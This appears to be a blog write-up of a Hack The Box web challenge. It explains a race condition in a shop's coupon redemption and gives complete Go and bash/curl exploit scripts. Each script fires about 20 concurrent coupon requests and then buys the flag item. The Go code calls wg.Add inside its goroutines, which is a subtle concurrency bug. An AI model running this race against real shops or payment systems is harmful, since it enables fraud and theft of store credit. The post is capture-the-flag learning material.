Skip to main content
  1. Posts/

HTB: Diogenes' Rage [Challenge | Web]

·612 words·3 mins
htb pentesting walkthrough 100in23 javascript race condition custom exploit golang
drt
Author
drt
Table of Contents

Enumeration #

Within challenge/routes/index.js

if (product.item_name == 'C8') return res.json({
    flag: fs.readFileSync('/app/flag').toString(),
    message: `Thank you for your order! $${newBalance} coupon credits left!
})

Pretty straightforward, “just” need to purchase the item C8. Too bad that there is only a single coupon in the database, and it’s only a value of 100. And that C8 is much more expensive than that!

Looking at database, there’s no locks or transactions. A user’s balance is appended in SQL, and not in JS then stored in SQL: SET balance = balance + ?. This is starting to look like a possible race condition.

cool gif

Having multiple HTTP requests try to access the coupon before the SQL is updated and invalidates the coupon. Allowing the user/session to get more than the single $1.00

Exploit #

The exploit is broken down into three basic steps:

  1. Attempt to buy the item, this will create a new session and store the cookie.
  2. Run a bunch of HTTP requests concurrently to exploit the race condition.
  3. Buy the item again.

Even though the first and the last step are basically the same. I had some fun and decided to write the exploit in both golang and bash.

Golang #

The exploit written in Go has a local http.Client with a cookie jar. This needs to be done, since the http.DefaultClient does not store cookies. To be safe, it spawns 20 go routines to apply the coupon using the client, and uses a sync.WaitGroup to wait for all connections to finish. Once all the go routines are finished, it attempts to purchase the item again. The output from the Web API is printed to the console output.

package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"net/http/cookiejar"
	"os"
	"strings"
	"sync"
)

const (
	UrlBase             = "http://127.0.0.1:1337"
	EndpointApplyCoupon = "/api/coupons/apply"
	EndpointPurchase    = "/api/purchase"
)

func main() {
	// http client with cookie jar
	jar, _ := cookiejar.New(nil)
	client := &http.Client{
		Jar: jar,
	}

	// attempt to purchase the item once to store cookie in jar
	_, err := client.Post(
		fmt.Sprintf("%s%s", UrlBase, EndpointPurchase),
		"application/json",
		strings.NewReader(`{"item":"C8"}`),
	)
	if err != nil {
		log.Fatal(err)
	}

	// run the exploit; multiple concurrent requests to apply the coupon
	var wg sync.WaitGroup
	for i := 0; i < 20; i++ {
		go func() {
			wg.Add(1)
			defer wg.Done()
			resp, err := client.Post(
				fmt.Sprintf("%s%s", UrlBase, EndpointApplyCoupon),
				"application/json",
				strings.NewReader(`{"coupon_code":"HTB_100"}`),
			)
			if err != nil {
				log.Fatal(err)
			}
			defer resp.Body.Close()
		}()
	}

	// wait for all coupon application requests to finish
	wg.Wait()

	// purchase the item!
	resp, err := client.Post(
		fmt.Sprintf("%s%s", UrlBase, EndpointPurchase),
		"application/json",
		strings.NewReader(`{"item":"C8"}`),
	)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	io.Copy(os.Stdout, resp.Body)
}

golang screenshot
Running the golang exploit go run exploit.go.

curl #

This bash script does the exact same thing as the golang exploit. To be honest, this could be simplified to a two liner, but I find the exploit below to be easier to follow.

#!/usr/bin/env bash

set -euo pipefail

TARGET=127.0.0.1:1337

# clean up from before if here
function cleanup {
  rm jar 2>&1 > /dev/null || true
}

trap cleanup EXIT

# generate a user on the server and store cookie locally
curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' 2>&1 > /dev/null

# exploit race condition
for i in {1..20}; do
  curl -s -c jar -b jar "http://${TARGET}/api/coupons/apply" -d 'coupon_code=HTB_100' 2>&1 > /dev/null &
done

# wait for curl to finish (hopefully)
echo "sleeping for a hot second (or two)..."
sleep 2

curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' | grep -oE '"HTB{.*}"' || echo "exploit failed, try again"

# or if you have jq installed
# curl -s -c jar -b jar http://139.59.180.127:32556/api/purchase -d 'item=C8' | jq -r '.flag'

curl screenshot
Running the bash exploit ./exploit.sh.